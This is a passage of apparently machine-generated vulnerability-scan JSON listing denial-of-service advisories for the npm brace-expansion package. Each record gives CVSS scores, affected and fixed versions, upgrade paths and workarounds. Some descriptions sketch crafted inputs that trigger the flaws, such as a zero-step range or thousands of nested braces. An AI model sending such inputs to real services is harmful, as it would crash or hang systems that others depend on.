"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
